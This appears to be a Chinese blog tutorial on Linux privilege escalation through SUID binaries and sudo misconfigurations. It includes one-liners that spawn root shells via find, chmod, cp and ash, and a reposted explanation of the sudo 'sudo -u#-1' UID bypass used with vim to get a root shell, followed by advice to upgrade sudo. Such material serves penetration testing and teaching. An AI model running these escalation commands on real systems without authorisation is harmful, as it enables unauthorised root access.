zoukankan      html  css  js  c++  java
  • Linux suid 提权

      SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

    查找suid文件

    find / -perm -u=s -type f 2>/dev/null
    
    /表示从文件系统的顶部(根)开始并找到每个目录
    -perm 表示搜索随后的权限
    -u = s表示查找root用户拥有的文件
    -type表示我们正在寻找的文件类型
    f 表示常规文件,而不是目录或特殊文件
    2表示该进程的第二个文件描述符,即stderr(标准错误)
    >表示重定向
    / dev / null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
    

      

    利用方式:

    find命令

    sudo find . -exec /bin/sh ; -quit
    

      

    chmod命令

    sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'
    

      

    ash,linux shell

    sudo ash
    

      

    cp命令

    sudo sh -c 'cp $(which cp) .; chmod +s ./cp'
    

      

    更多suid利用方式:https://gtfobins.github.io/gtfobins

    转载一个白帽汇的文章

    因此对于sudo命令来说,通过向/etc/sudoers配置文件添加特殊的指令,就可以让某个用户以另一个用户的身份运行命令。

    例如,下面的命令可让用户test以任意非root身份运行/usr/bin/vim/usr/bin/id命令。

    test ALL = (ALL, !root) /usr/bin/vim
    test ALL = (ALL, !root) /usr/bin/id
    

    对于test用户,他可以使用一个带-u参数的sudo命令来指定运行命令的身份。例如,下面的命令将以用户bleep-test的身份启动vim。

    sudo -u bleeping-test vim
    

    在Linux中创建用户时,每个用户都有一个UID。如下所示,用户test的UID为1001,用户bleep -test的UID为1002。

    33.jpg

    而在使用sudo命令时,你也可以直接指定用户的UID来代替用户名。例如,下面的命令将再次以bleep-test身份启动vim,只不过这一次是通过指定用户的UID。

    sudo -u#1002 vim
    

    sudo漏洞

    苹果安全研究员Joe Vennix就在sudo上发现了一个漏洞,只要用户在使用sudo命令时指定UID为-14294967295,就可以以root身份执行命令。

    这是因为命令在将UID转换为对应用户时,会将-14294967295这两个异常数字视为0,而0root用户的UID

    例如,下面的命令就可以利用这个漏洞以root身份运行/usr/bin/id,即使/etc/sudoers文件明确拒绝用户test这样做。

    sudo -u#-1 id
    

    此时通过/usr/bin/id命令可以清楚看到权限得到了提升。

    44.jpg

    虽然这个漏洞看似非常强大,但是必须记住,它只能在某个用户通过sudoers文件的配置访问某个命令的权限时才能生效。如果不是这种设置——大多数Linux发行版默认都不是——那么这个漏洞将不会产生任何影响。

    利用漏洞

    为了真正利用这个漏洞,用户首先需要为某个能执行其他命令的命令配置好sudoer文件。

    例如,我们可以针对vim命令做如下配置:

    test ALL = (ALL, !root) /usr/bin/vim
    

    在vim编辑文件时,用户可以使用:!符号启动另一个命令。例如,你可以输入!ls以当前文件夹为目标执行ls命令。

    如果我们利用sudo -u#-1 vim命令来利用这个漏洞,vim将以root身份启动。你可以通过执行!whoami命令来确认这一点。

    55.jpg

    现在,我们可以确认vim以root身份启动,而它执行的任何命令也是以root身份运行。

    因此,我们可以很轻易地用它来启动一个root权限的shell,执行任何命令。下面就演示了这种攻击。

    66.png

    77.png

    综上所述,这个漏洞影响范围非常有限,它只能影响小部分非标准配置的Linux服务器。

    对于那些为经常使用sudoers文件的用户,应尽快将软件升级到sudo 1.8.28或更高版本。

  • 相关阅读:
    mysql数据库常用指令
    解决windows的mysql无法启动 服务没有报告任何错误的经验。
    “Can't open file for writing”或“operation not permitted”的解决办法
    启动Apache出现错误Port 80 in use by "Unable to open process" with PID 4!
    如何打开windows的服务services.msc
    常见的HTTP状态码 404 500 301 200
    linux系统常用的重启、关机指令
    (wifi)wifi移植之命令行调试driver和supplicant
    linux(debian)安装USB无线网卡(tp-link TL-WN725N rtl8188eu )
    alloc_chrdev_region申请一个动态主设备号,并申请一系列次设备号
  • 原文地址:https://www.cnblogs.com/junsec/p/11652723.html
Copyright © 2011-2022 走看看